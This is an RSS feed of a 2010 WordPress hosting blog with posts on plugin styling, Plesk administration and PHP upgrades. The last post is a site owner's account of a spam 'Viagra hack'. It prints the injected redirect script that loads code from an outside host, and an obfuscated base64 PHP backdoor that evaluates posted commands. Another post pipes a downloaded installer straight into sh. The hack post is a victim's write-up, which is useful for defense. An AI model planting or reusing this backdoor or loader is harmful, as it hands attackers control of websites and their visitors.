<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>The Wordpress Guru</title>
	
	<link>http://wpguru.co.uk</link>
	<description>Dedicated Wordpress Hosting and Support</description>
	<lastBuildDate>Wed, 25 Aug 2010 19:51:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/wpguru-co-uk" /><feedburner:info uri="wpguru-co-uk" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>How to style WP Affiliate Platform</title>
		<link>http://feedproxy.google.com/~r/wpguru-co-uk/~3/iNMrH0zJBTA/</link>
		<comments>http://wpguru.co.uk/2010/08/how-to-style-wp-affiliate-platform/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 19:51:11 +0000</pubDate>
		<dc:creator>Jay Versluis</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Themes]]></category>
		<category><![CDATA[Tweaks]]></category>

		<guid isPermaLink="false">http://wpguru.co.uk/?p=575</guid>
		<description><![CDATA[I&#8217;ve recently done some research on Affiliate Programmes that integrate with WP Ecommerce. I came across the excellent WP Affiliate Platform from Tips and Tricks HQ &#8211; it works beautifully and is very easy to setup. At only $39 it&#8217;s a steal &#8211; considering how much business it can generate for you. Thanks Ruhul! I [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://wpguru.co.uk/wp-content/uploads/2010/08/money_icon.jpg"><img class="alignright size-medium wp-image-576" title="money_icon" src="http://wpguru.co.uk/wp-content/uploads/2010/08/money_icon-300x176.jpg" alt="" width="240" height="141" /></a>I&#8217;ve recently done some research on Affiliate Programmes that integrate with WP Ecommerce.</p>
<p>I came across the excellent <a href="http://www.tipsandtricks-hq.com/wordpress-affiliate-platform-plugin-simple-affiliate-program-for-wordpress-blogsite-1474?ap_id=versluis" target="_blank">WP Affiliate Platform from Tips and Tricks HQ</a> &#8211; it works beautifully and is very easy to setup. At only $39 it&#8217;s a steal &#8211; considering how much business it can generate for you. Thanks Ruhul!</p>
<p>I wanted to make the front end integrate with my original site &#8211; which is just like tweaking a WordPress Theme. Let me talk you through it in this article.</p>
<p><span id="more-575"></span></p>
<p class="alert">Please note: I&#8217;ve written this with version 4.1.9 in mind &#8211; things may have changed since then.</p>
<p>First off, there&#8217;s plenty of good information on the well documented site under &#8220;<a href="http://www.tipsandtricks-hq.com/wordpress-affiliate/how-to-customize-the-appearance-of-the-affiliate-view-using-css-249?ap_id=versluis" target="_blank">How to customise</a>&#8221; section. I won&#8217;t repeat that here and instead focus on a few additions.</p>
<p>The files I refer to herein live by default in <strong>/wp-content/plugins/wp-affiliate-platform/affiliates/</strong></p>
<h3>How to change the Header into a Logo</h3>
<p>If you&#8217;d like to replace the &lt;h1&gt; tags from a plain font into a header graphic, open the header.php file and find this bit of code:</p>
<p><code>&lt;!-- Start Header --&gt;<br />
&lt;div id="header"&gt;<br />
&lt;h1&gt;&lt;?php echo get_option('wp_aff_site_title'); ?&gt;&lt;/h1&gt;<br />
&lt;/div&gt;<br />
&lt;!-- End Header --&gt;</code></p>
<p>Take out the entire line containing the &lt;h1&gt; tag and replace it with something like this:</p>
<pre>&lt;img src="http://yourheaderimage.jpg&gt;</pre>
<p>If you&#8217;d like this banner to link someplace, wrap it in an &lt;a&gt; tag like this:</p>
<pre>&lt;a href="http://www.yoursite.com&gt;&lt;img src="http://yourheaderimage.jpg&gt;&lt;/a&gt;</pre>
<p>If this places your header too far at the top, insert a &lt;br /&gt; in front of it. Job done!</p>
<h3>How to change links in the Footer</h3>
<p>One thing I&#8217;d like to see at the bottom is a link back to my original site. Nothing&#8217;s easier than that &#8211; open the footer.php file and find this bit of code:</p>
<p><code>&lt;!-- Start Footer --&gt;<br />
&lt;div id="footer"&gt;<br />
&lt;p style="float:left;"&gt;<br />
&lt;a href="index.php" title="&lt;?php echo get_option('wp_aff_site_title'); ?&gt;"&gt;<br />
&lt;?php echo get_option('wp_aff_site_title'); ?&gt;&lt;/a&gt; &amp;copy; &lt;?php echo date("Y"); ?&gt; - All rights reserved&lt;/p&gt;<br />
&lt;p style="float:right;"&gt;Powered by&amp;nbsp;&amp;nbsp;&lt;a target="_blank" href="http://tipsandtricks-hq.com/?p=1474"&gt;WP Affiliate Platform&lt;/a&gt;&lt;/p&gt;<br />
&lt;div&gt;&lt;/div&gt;<br />
&lt;/div&gt;<br />
&lt;!-- End Footer --&gt;</code></p>
<p>I&#8217;ll insert one line like this just before the closing &lt;/p&gt; tag in line 5:</p>
<pre>... All rights reserved. Back to &lt;a href="http://www.yoursite.com"&gt;Main Site&lt;/a&gt;&lt;/p&gt;</pre>
<p>On this note, Tips and Tricks HQ have a great affiliate programme. <a href="http://tipsandtricks-hq.com/wp-content/plugins/wp-affiliate-platform/affiliates/?ap_id=versluis" target="_blank">Sign up here</a> and see this plugin in action. Once you&#8217;ve done that, you can amend the link in your own affiliate plugin to your affiliate link and take full advantage of the tiered comission structure.</p>
<p>Super Sweet!</p>
<p class="note">I don&#8217;t recommend taking the link to WP Affiliate Platform out completely. I believe in &#8220;Credit where Credit is due&#8221; &#8211; a lot of hard work has gone into this plugin, so why not spread the word about it. Only do this if a client is explicitely asking you to remove the attribution.</p>
<p>Happy Sales!</p>
<img src="http://feeds.feedburner.com/~r/wpguru-co-uk/~4/iNMrH0zJBTA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://wpguru.co.uk/2010/08/how-to-style-wp-affiliate-platform/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wpguru.co.uk/2010/08/how-to-style-wp-affiliate-platform/</feedburner:origLink></item>
		<item>
		<title>How to amend an Application Vault Repository in Plesk</title>
		<link>http://feedproxy.google.com/~r/wpguru-co-uk/~3/uEY0tXTKgDo/</link>
		<comments>http://wpguru.co.uk/2010/08/how-to-amend-wordpress-repository-in-plesk-application-vault/#comments</comments>
		<pubDate>Thu, 19 Aug 2010 20:47:14 +0000</pubDate>
		<dc:creator>Jay Versluis</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Plesk]]></category>

		<guid isPermaLink="false">http://wpguru.co.uk/?p=565</guid>
		<description><![CDATA[I&#8217;m currently building a WordPress Hosting Service where customers get hosting with WordPress pre-installed. I also want to offer several pre-installed Themes and Plugins that I&#8217;ll deploy from the Plesk Back End using Application Vault. WordPress is already available as a free repository, however it does take some time for new versions to be made [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://wpguru.co.uk/wp-content/uploads/2010/08/wordpress_icons.jpg"><img class="alignright size-full wp-image-566" title="wordpress_icons" src="http://wpguru.co.uk/wp-content/uploads/2010/08/wordpress_icons.jpg" alt="" width="176" height="161" /></a>I&#8217;m currently building a WordPress Hosting Service where customers get hosting with WordPress pre-installed.</p>
<p>I also want to offer several pre-installed Themes and Plugins that I&#8217;ll deploy from the Plesk Back End using Application Vault.</p>
<p>WordPress is already available as a free repository, however it does take some time for new versions to be made available &#8211; and of course my Themes and Plugins aren&#8217;t there either.</p>
<p>So how can I amend or build a new Plesk Application Vault repository? Let&#8217;s find out in this article, in which I&#8217;m describing all my findings <img src='http://wpguru.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<h3><span id="more-565"></span>Where does Plesk save repositories?</h3>
<p>It does this in &lt;plesk-install&gt;/var/cgitory &#8211; so it depends on your distribution. The best way to find out is by issuing</p>
<pre>whereis psa</pre>
<p>and be told by your system. You&#8217;ll want to look in the second path it gives you. Then amend the above &#8220;/var/cgitory&#8221; to that.</p>
<p>On CentOS for example, the full path is</p>
<pre>/usr/local/psa/var/cgitory</pre>
<p>In here you&#8217;ll find sub-folders for each installed (and unpacked) repository &#8211; say &#8220;WordPress-3.0-3&#8243;. The naming convention describes the application, product version and release version of what&#8217;s contained in the repository.</p>
<p>In each folder you&#8217;ll find several other subfolders such as scripts, forms, apps etc. that are used during the installation of the repo onto your domains.</p>
<p>The htdocs folder contains files that are actually installed when you deploy the repository. Simply adding/removing/changing files in this folder will change the way your Application&#8217;s static content is installed.</p>
<p>If you&#8217;re updating this folder with the latest version of WordPress for example and add a couple of themes here, they&#8217;ll be immediately available on the domain upon deployment.</p>
<p>Sweet!</p>
<h3>How to build a repository for use in Plesk?</h3>
<p>That&#8217;s a bit more complex&#8230; I&#8217;ll tell you as soon as I find out <img src='http://wpguru.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>In the meantime, read the official Parallels <a href="http://download1.swsoft.com/Plesk/Plesk8.1/Doc/plesk-8.1-unix-app-vault-guide.pdf">Application Vault Developers Guide</a>.</p>
<img src="http://feeds.feedburner.com/~r/wpguru-co-uk/~4/uEY0tXTKgDo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://wpguru.co.uk/2010/08/how-to-amend-wordpress-repository-in-plesk-application-vault/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wpguru.co.uk/2010/08/how-to-amend-wordpress-repository-in-plesk-application-vault/</feedburner:origLink></item>
		<item>
		<title>How to upgrade PHP on CentOS 5</title>
		<link>http://feedproxy.google.com/~r/wpguru-co-uk/~3/8tNKa4wHEYo/</link>
		<comments>http://wpguru.co.uk/2010/08/how-to-upgrade-php-on-centos-5/#comments</comments>
		<pubDate>Thu, 05 Aug 2010 16:06:57 +0000</pubDate>
		<dc:creator>Jay Versluis</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://wpguru.co.uk/?p=554</guid>
		<description><![CDATA[With the recent end-of-life announcement it becomes clear that WordPress isn&#8217;t going to support PHP 5.1.6. for much longer anymore. CentOS 5 however comes pre-compiled with PHP 5.1.6 and there are no plans to change this in the current version. For simple folk like me it&#8217;s unimaginable to re-compile the entire OS from source or [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://wpguru.co.uk/wp-content/uploads/2010/08/CentOS.jpg"><img class="alignright size-medium wp-image-555" title="CentOS" src="http://wpguru.co.uk/wp-content/uploads/2010/08/CentOS-300x114.jpg" alt="" width="240" height="91" /></a>With the recent <a href="http://wordpress.org/news/2010/07/eol-for-php4-and-mysql4/" target="_blank">end-of-life announcement</a> it becomes clear that WordPress isn&#8217;t going to support PHP 5.1.6. for much longer anymore.</p>
<p>CentOS 5 however comes pre-compiled with PHP 5.1.6 and there are no plans to change this in the current version.</p>
<p>For simple folk like me it&#8217;s unimaginable to re-compile the entire OS from source or switch to a different distribution altogether. yum doesn&#8217;t help much by default &#8211; unless you&#8217;re looking in the right repositories.</p>
<p>Help is at hand, courtesy of the <a href="http://faq.oneandone.co.uk/server/root_server/plesk_linux/16.html" target="_blank">1and1 Knowledge Base</a>. Without further ado, here&#8217;s how to upgrade PHP on CentOS 5:</p>
<p><span id="more-554"></span></p>
<p class="alert">You&#8217;ll need both wget and yum installed on your machine for this to work. You can type in either command and see if you get an explanation. If you get a &#8220;command not found&#8221; message, you&#8217;ll have to install the missing packages first.</p>
<p>First let&#8217;s check which PHP Version your server is running:</p>
<pre>php -v</pre>
<p>If the answer is 4.x or 5.1.x it&#8217;s time to upgrade.</p>
<p>Let&#8217;s install the Atomic repository so yum can access packages. The autoinstaller will do the trick:</p>
<pre>wget -q -O - www.atomicorp.com/installers/atomic | sh</pre>
<p>From now on, if you use yum, it&#8217;ll look at other sources. Try this:</p>
<pre>yum update php</pre>
<p>This should install the latest version on your system. It can happen that you&#8217;ll get several error messages when you run this command. That&#8217;s nothing to worry about, it just means that some of your other packages may need upgrading too for a new PHP to work. What better time to upgrade everything than now:</p>
<pre>yum update</pre>
<p>This command will update everything on your machine, incuding PHP.</p>
<p>Finally, let&#8217;s see that this has done what we wanted it to do &#8211; check the PHP version again:</p>
<pre>php -v</pre>
<p>Is it a later version than it was? Good!</p>
<h3>Final thoughts:</h3>
<p>You may want to reboot your server for good measure:</p>
<pre>/sbin/reboot</pre>
<p>Enjoy <img src='http://wpguru.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/wpguru-co-uk/~4/8tNKa4wHEYo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://wpguru.co.uk/2010/08/how-to-upgrade-php-on-centos-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wpguru.co.uk/2010/08/how-to-upgrade-php-on-centos-5/</feedburner:origLink></item>
		<item>
		<title>Linux Disk Space shown as Pie Chart</title>
		<link>http://feedproxy.google.com/~r/wpguru-co-uk/~3/GTrIuIhSFk0/</link>
		<comments>http://wpguru.co.uk/2010/07/linux-disk-space-shown-as-pie-chart/#comments</comments>
		<pubDate>Sat, 31 Jul 2010 14:55:56 +0000</pubDate>
		<dc:creator>Jay Versluis</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://wpguru.co.uk/?p=541</guid>
		<description><![CDATA[I&#8217;m managing a server for Loft London. They&#8217;re using it as FTP site for various clients, so I wanted to provide an easy way for them to keep an eye on how much space is used and how much is left. I&#8217;ve done some digging and found this super handy PHP Pie Chart generator by [...]]]></description>
			<content:encoded><![CDATA[<p></p><div id="attachment_546" class="wp-caption alignright" style="width: 300px">
	<a href="http://wpguru.co.uk/wp-content/uploads/2010/07/Loft-Pie-Chart.jpg"><img class="size-medium wp-image-546" title="Loft Pie Chart" src="http://wpguru.co.uk/wp-content/uploads/2010/07/Loft-Pie-Chart-e1280588141814-300x228.jpg" alt="" width="300" height="228" /></a>
	<p class="wp-caption-text">It&#39;s much easier to see a nice diagramme rather than a cryptic line of text from the command line interface</p>
</div>
<p>I&#8217;m managing a server for <a href="http://www.loftlondon.co.uk" target="_blank">Loft London</a>. They&#8217;re using it as FTP site for various clients, so I wanted to provide an easy way for them to keep an eye on how much space is used and how much is left.</p>
<p>I&#8217;ve done some digging and found this super handy <a href="http://www.peters1.dk/webtools/php/lagkage.php?sprog=en" target="_blank">PHP Pie Chart generator by Rasmus Peters</a>. You can call it just like an image, give it some parameters and generate a very cool pie chart diagramme.</p>
<p>My challenge was to use it dynamically by calling the df command on th ecommand line and convert that into a pie chart. Here&#8217;s how I did it:</p>
<p><span id="more-541"></span></p>
<h3>Here&#8217;s the code you need</h3>
<p>First, save the code on <a href="http://www.peters1.dk/webtools/php/lagkage.php?sprog=en" target="_blank">Rasmus&#8217; site</a> as a file called piechart.php and save it in the same directory as the file you&#8217;d like to call it from.</p>
<p>Then use this code to read the actual free disk space from your partition (in my case dev6) and split the string into the values you want to use. Save this as a .php file:</p>
<p><code>&lt;?php</code><code><br />
$input = "df -h /dev/hda6";</code><code><br />
$output = shell_exec($input);<br />
</code><code>// echo $output;</code><br />
<code> $pieces = explode(' ',$output);<br />
// print_r($pieces);<br />
$chopped = (substr($pieces[33],0,-1)/4.06);<br />
?&gt;</code></p>
<p>Then you can call the piechart file with your values just like an image:</p>
<p><code>&lt;img src="http://yourdomain.com/piechart.php?data=<br />
&lt;?php echo $chopped . '*' . (100-$chopped); ?&gt;&amp;label=Used Space*Free Space" /&gt;</code></p>
<h3>The Code Explained</h3>
<p>The first two statement give the actual linux command to the shell ($input) and reads its answer ($output). df -h reads the free disk space in Linux, and /dev/hda6 specifies the partition we&#8217;re interested in. You can use echo $output to see how it looks.</p>
<p>Then we&#8217;ll create an array ($pieces) of the output from this command using the explode() function. You can use the print_r() function to see the contents of this array &#8211; that way you can pick the value you&#8217;re after.</p>
<p>In my case the &#8220;used space&#8221; is in $pieces[33] &#8211; however it&#8217;s displayed with a &#8220;G&#8221; at the end (as in 100G). What we need is a number, so we&#8217;re using the substr() function to chop off the last digit.</p>
<p>I&#8217;m giving my client 406GB of space with a hard clip on the server, so our &#8220;free space&#8221; is therefore 406 minus the &#8220;used space&#8221;. In $chopped we&#8217;re generating this and divide it by 406 to get a percentage value.</p>
<p>When we call the piechart using the &lt;img src&#8230; &gt; statement, we&#8217;re giving it the following values:</p>
<ul>
<li>used space</li>
<li>a seperator (*)</li>
<li>free space (i.e. 100-$chopped)</li>
<li>and two labels (Used Space and Free Space)</li>
</ul>
<p>The script converts all this into a convenient .jpg image which is sent back to the browser.</p>
<img src="http://feeds.feedburner.com/~r/wpguru-co-uk/~4/GTrIuIhSFk0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://wpguru.co.uk/2010/07/linux-disk-space-shown-as-pie-chart/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wpguru.co.uk/2010/07/linux-disk-space-shown-as-pie-chart/</feedburner:origLink></item>
		<item>
		<title>When Plesk fails to upgrade</title>
		<link>http://feedproxy.google.com/~r/wpguru-co-uk/~3/FjYG87mYRE8/</link>
		<comments>http://wpguru.co.uk/2010/07/when-plesk-fails-to-upgrade/#comments</comments>
		<pubDate>Mon, 26 Jul 2010 09:53:46 +0000</pubDate>
		<dc:creator>Jay Versluis</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Plesk]]></category>

		<guid isPermaLink="false">http://wpguru.co.uk/?p=532</guid>
		<description><![CDATA[I&#8217;ve had this issue before: you get a new server, the image is a few revisions behind the current release and your first line of business is to upgrade the system. A few minutes later you check and instead and Plesk refuses to start. Bugger. Now what? My Customer Support Gurus always know what to [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>I&#8217;ve had this issue before: you get a new server, the image is a few revisions behind the current release and your first line of business is to upgrade the system.</p>
<p>A few minutes later you check and instead and Plesk refuses to start. Bugger. Now what?</p>
<p>My Customer Support Gurus always know what to do, but in an effort to not disturb them at night here&#8217;s what they did to make it all work again. These instructions work on a CentOS 5 system with Plesk 9.0.1 installed.</p>
<p><span id="more-532"></span></p>
<pre>/usr/local/psa/admin/sbin/autoinstaller --select-release-current --show-components | grep upgrade</pre>
<pre>tail -f /var/log/sw-cp-server/error_log</pre>
<pre>uname -a</pre>
<pre>cat /etc/redhat-release</pre>
<pre>wget -c http://kb.parallels.com/Attachments/12669/Attachments/sw-cp-server-1.0-6.201004011130.centos5.x86_64.rpm</pre>
<pre>rpm -Uhv sw-cp-server-1.0-6.201004011130.centos5.x86_64.rpm</pre>
<pre>/etc/init.d/psa stopall</pre>
<pre>/etc/ini.d/psa start</pre>
<p>Voila &#8211; Plesk works again <img src='http://wpguru.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/wpguru-co-uk/~4/FjYG87mYRE8" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://wpguru.co.uk/2010/07/when-plesk-fails-to-upgrade/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wpguru.co.uk/2010/07/when-plesk-fails-to-upgrade/</feedburner:origLink></item>
		<item>
		<title>How to install Parallels Plesk on a new Linux server</title>
		<link>http://feedproxy.google.com/~r/wpguru-co-uk/~3/LpM8IKvkzh4/</link>
		<comments>http://wpguru.co.uk/2010/07/how-to-install-parallels-plesk-on-a-new-linux-server/#comments</comments>
		<pubDate>Wed, 21 Jul 2010 21:44:59 +0000</pubDate>
		<dc:creator>Jay Versluis</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Plesk]]></category>

		<guid isPermaLink="false">http://wpguru.co.uk/?p=523</guid>
		<description><![CDATA[So I&#8217;ve expanded my server arsenal to a fifith machine with Strato in Germany. Sadly they only offer an OpenSUSE installation bundled with Plesk (in German &#8211; unchangeable to English). What I really wanted was another CentOS system though, which Strato offer &#8211; but without Plesk installed. After a bit of hackage, I found out [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><img class="alignright" src="http://webserviceable.com/wp-content/uploads/2009/11/logo_plesk.png" alt="" width="300" height="93" />So I&#8217;ve expanded my server arsenal to a fifith machine with <a href="http://www.strato.de" target="_blank">Strato in Germany</a>. Sadly they only offer an OpenSUSE installation bundled with Plesk (in German &#8211; unchangeable to English).</p>
<p>What I really wanted was another CentOS system though, which Strato offer &#8211; but without Plesk installed.</p>
<p>After a bit of hackage, I found out that it&#8217;s very easy to install Plesk from the command line via the Parallel&#8217;s Auto Installer.</p>
<p>These instructions should work on any distribution of Linux &#8211; just make sure you download the right auto installer package from the <a href="http://www.parallels.com/uk/download/plesk/products" target="_blank">Parallels site</a> (you need to create an account with them and log in for this link to work).</p>
<p><span id="more-523"></span></p>
<p>At the time of writing, <a href="http://www.parallels.com/uk/download/plesk9/" target="_blank">Plesk 9.5.2</a> is the latest version.</p>
<ul>
<li>login as &#8220;root&#8221; on your machine via SSH</li>
<li>download the latest auto-installer for your distribution: wget http://download1.parallels.com/Plesk/PPP9/CentOS5/parallels_installer_v3.6.0_build100407.15_os_CentOS_5_x86_64</li>
<li>make this file executable: chmod 777 par*</li>
<li>run the installer: ./par*</li>
</ul>
<p>You&#8217;ll be presented with several installtion options (like local, Plesk server, etc).</p>
<p>Note that to proceed in this installer, you press &#8220;n&#8221; followed by return. Sometimes there&#8217;s an option you can choose, in which case you select it (say &#8220;1&#8243; followed by return), and then &#8220;n&#8221; followed by return. Took me a few tires to get this going.</p>
<p>Once you&#8217;ve made your choices, the installation will begin. It&#8217;s fun to watch in full screen and makes you look like a full fledged hacker.</p>
<h3>Post-Installation</h3>
<p>When the install script finishes the psa service is already running (you can verify this with the following command: service psa status) &#8211; there&#8217;s no need to reboot your server. Nice!</p>
<p>Now login to Plesk via the web browser with the following default credentials:</p>
<p><strong>User Name: admin<br />
Password: setup</strong></p>
<p>Ples will ask you to change this password and fill out the owner details.Once you&#8217;re done, you&#8217;ll enjoy a fully fledged version of Plesk.</p>
<p>This is however limited to one domain only &#8211; so if you have a Plesk License Key you should upload this via License Management &#8211; Upload Key.</p>
<p>Congratulations &#8211; Plesk should now be running <img src='http://wpguru.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<img src="http://feeds.feedburner.com/~r/wpguru-co-uk/~4/LpM8IKvkzh4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://wpguru.co.uk/2010/07/how-to-install-parallels-plesk-on-a-new-linux-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wpguru.co.uk/2010/07/how-to-install-parallels-plesk-on-a-new-linux-server/</feedburner:origLink></item>
		<item>
		<title>The “Comber 38″ Viagra Hack</title>
		<link>http://feedproxy.google.com/~r/wpguru-co-uk/~3/grEYnnOGE50/</link>
		<comments>http://wpguru.co.uk/2010/07/comber-38-viagra-hack/#comments</comments>
		<pubDate>Sun, 18 Jul 2010 14:23:59 +0000</pubDate>
		<dc:creator>Jay Versluis</dc:creator>
				<category><![CDATA[Hacks]]></category>

		<guid isPermaLink="false">http://wpguru.co.uk/?p=512</guid>
		<description><![CDATA[Just when I though the Drunkjeans Hack had passed over, there&#8217;s another attack on a couple of my sites. I&#8217;ll call it the &#8220;Comber 38&#8243; hack. These hacks are most likely related. What does this hack do? With Comber 38, your sites are turned into Viagra Promo sites. Search for &#8220;viagra hack&#8221; and you&#8217;ll see [...]]]></description>
			<content:encoded><![CDATA[<p></p><p class="alert">Just when I though the <a href="http://wpguru.co.uk/2010/07/the-drunkjeans-com-wordpress-hack-and-how-to-get-rid-of-it/">Drunkjeans Hack</a> had passed over, there&#8217;s another attack on a couple of my sites. I&#8217;ll call it the &#8220;Comber 38&#8243; hack. These hacks are most likely related.</p>
<h3 class="alert">What does this hack do?</h3>
<p>With Comber 38, your sites are turned into Viagra Promo sites. Search for &#8220;viagra hack&#8221; and you&#8217;ll see how common this problem is.</p>
<p>Even though your home page may still work, the hackers use your site as a storage for images that can be pulled in from other sites, hence poncing off your server&#8217;s bandwidth.</p>
<p>If these files are linked to, your site is redirecting to some viagra site. It gioves the hackers and spammers direct link to a clean site rather than having to use their spam domains directly. If it wouldn&#8217;t be so evil, you ould argue it&#8217;s a pretty bright idea&#8230;</p>
<p>In fact, here&#8217;s what&#8217;s in one of those files:</p>
<p><span id="more-512"></span></p>
<pre>&lt;html&gt;
&lt;head&gt;
&lt;script&gt;
location = 'http://cheapviagrarx.com/';
&lt;/script&gt;
&lt;/head&gt;
&lt;/html&gt;
&lt;script src=http://pkd.home.pl/regietow/button_krakow.php &gt;
&lt;/script&gt;</pre>
<p>Apart from that, I&#8217;ve also discovered the following code at the top of my index.php file:</p>
<pre><code>&lt;?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnczRzJykpe2Z1bmN0aW9uIHM0cygkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwzQnJaQzVvYjIxbExuQnNMM0psWjJsbGRHOTNMMkoxZEhSdmJsOXJjbUZyYjNjdWNHaHdJRDQ4TDNOamNtbHdkRDQ9JyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcywxKTtlbHNlaWYoc3RycG9zKCRzLCc8YScpKSRzPSRhLiRzO3JldHVybiRzO31mdW5jdGlvbiBzNHMyKCRhLCRiLCRjLCRkKXtnbG9iYWwkczRzMTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkczRzMSkpY2FsbF91c2VyX2Z1bmMoJHM0czEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J3M0cycpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ3M0cycpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRzNHNsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdzNHMyJykpIT0nczRzMicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?&gt;</code></pre>
<p>I removed it &#8211; but after a few hours it was back as this:</p>
